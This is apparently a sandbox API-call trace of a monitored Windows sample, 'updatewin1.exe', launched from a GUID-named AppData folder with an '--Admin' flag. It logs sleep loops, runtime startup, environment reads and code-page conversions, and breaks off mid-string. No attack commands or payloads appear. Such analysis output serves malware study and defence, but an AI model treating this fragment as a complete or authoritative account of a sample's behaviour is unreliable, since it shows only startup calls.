NtdllDefWindowProc_W () returned 0x0 [0077.318] NtdllDefWindowProc_W () returned 0x0 [0077.318] NtdllDefWindowProc_W () returned 0x0 [0077.318] NtdllDefWindowProc_W () returned 0x0 [0077.318] NtdllDefWindowProc_W () returned 0x2 [0077.318] NtdllDefWindowProc_W () returned 0x0 Thread: id = 60 os_tid = 0xb58 [0056.105] timeGetTime () returned 0x1cdb9 [0056.105] timeGetTime () returned 0x1cdb9 [0056.105] Sleep (dwMilliseconds=0x3e8) [0057.475] timeGetTime () returned 0x1d1af [0057.475] timeGetTime () returned 0x1d1af [0057.475] Sleep (dwMilliseconds=0x3e8) [0058.694] timeGetTime () returned 0x1d5a5 [0058.694] timeGetTime () returned 0x1d5a5 [0058.694] Sleep (dwMilliseconds=0x3e8) [0059.724] timeGetTime () returned 0x1d9ab [0059.724] timeGetTime () returned 0x1d9ab [0059.724] Sleep (dwMilliseconds=0x3e8) [0060.738] timeGetTime () returned 0x1dda1 [0060.738] timeGetTime () returned 0x1dda1 [0060.738] Sleep (dwMilliseconds=0x3e8) [0061.768] timeGetTime () returned 0x1e1a7 [0061.768] timeGetTime () returned 0x1e1a7 [0061.768] Sleep (dwMilliseconds=0x3e8) [0062.859] timeGetTime () returned 0x1e59d [0062.860] timeGetTime () returned 0x1e59d [0062.860] Sleep (dwMilliseconds=0x3e8) [0065.199] timeGetTime () returned 0x1e993 [0065.199] timeGetTime () returned 0x1e993 [0065.200] Sleep (dwMilliseconds=0x3e8) [0066.548] timeGetTime () returned 0x1edc7 [0066.548] timeGetTime () returned 0x1edc7 [0066.608] Sleep (dwMilliseconds=0x3e8) [0070.076] timeGetTime () returned 0x1fb5e [0070.076] timeGetTime () returned 0x1fb5e [0070.076] Sleep (dwMilliseconds=0x3e8) [0071.097] timeGetTime () returned 0x1ff54 [0071.097] timeGetTime () returned 0x1ff54 [0071.097] Sleep (dwMilliseconds=0x3e8) [0072.188] timeGetTime () returned 0x2034a [0072.188] timeGetTime () returned 0x2034a [0072.188] Sleep (dwMilliseconds=0x3e8) [0074.508] timeGetTime () returned 0x20740 [0074.508] timeGetTime () returned 0x20740 [0074.508] Sleep (dwMilliseconds=0x3e8) [0075.511] timeGetTime () returned 0x20b36 [0075.511] timeGetTime () returned 0x20b36 [0075.511] Sleep (dwMilliseconds=0x3e8) [0076.681] timeGetTime () returned 0x20f2c [0076.681] timeGetTime () returned 0x20f2c [0076.681] Sleep (dwMilliseconds=0x3e8) Process: id = "9" image_name = "updatewin1.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe" page_root = "0x18527000" os_pid = "0xb40" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb14" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe\" --Admin" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 57 os_tid = 0xb44 [0054.960] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xadaab910, dwHighDateTime=0x1d54670)) [0054.960] GetCurrentProcessId () returned 0xb40 [0054.960] GetCurrentThreadId () returned 0xb44 [0054.960] GetTickCount () returned 0x1c985 [0054.960] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17524338118) returned 1 [0054.966] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0054.966] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x250000 [0054.967] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.967] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0054.967] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0054.967] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0054.967] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0054.967] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.967] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.968] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.968] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.968] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.968] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.968] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.968] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.968] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.968] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.968] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.968] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.968] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.969] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.969] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.969] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0054.969] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x214) returned 0x2507d0 [0054.969] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.969] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0054.969] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.969] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.969] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0054.970] GetCurrentThreadId () returned 0xb44 [0054.970] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0054.970] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x800) returned 0x2509f0 [0054.970] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0054.970] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0054.970] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0054.970] SetHandleCount (uNumber=0x20) returned 0x20 [0054.970] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe\" --Admin" [0054.970] GetEnvironmentStringsW () returned 0x5f4e78* [0054.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0054.970] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x565) returned 0x2511f8 [0054.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2511f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0054.970] FreeEnvironmentStringsW (penv=0x5f4e78) returned 1 [0054.970] GetLastError () returned 0x0 [0054.970] SetLastError (dwErrCode=0x0) [0054.970] GetLastError () returned 0x0 [0054.970] SetLastError (dwErrCode=0x0) [0054.971] GetLastError () returned 0x0 [0054.971] SetLastError (dwErrCode=0x0) [0054.971] GetACP () returned 0x4e4 [0054.971] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x220) returned 0x251768 [0054.971] GetLastError () returned 0x0 [0054.971] SetLastError (dwErrCode=0x0) [0054.971] IsValidCodePage (CodePage=0x4e4) returned 1 [0054.971] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0054.971] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0054.971] GetLastError () returned 0x0 [0054.971] SetLastError (dwErrCode=0x0) [0054.971] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0054.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0054.971] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0054.971] GetLastError () returned 0x0 [0054.971] SetLastError (dwErrCode=0x0) [0054.971] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0054.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뉵뼾㞕AĀ") returned 256 [0054.971] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뉵뼾㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0054.971] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뉵뼾㞕AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0054.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xcb\x5e\xfb\xb9\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0054.971] GetLastError () returned 0x0 [0054.971] SetLastError (dwErrCode=0x0) [0054.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뉵뼾㞕AĀ") returned 256 [0054.971] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뉵뼾㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0054.971] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뉵뼾㞕AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0054.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\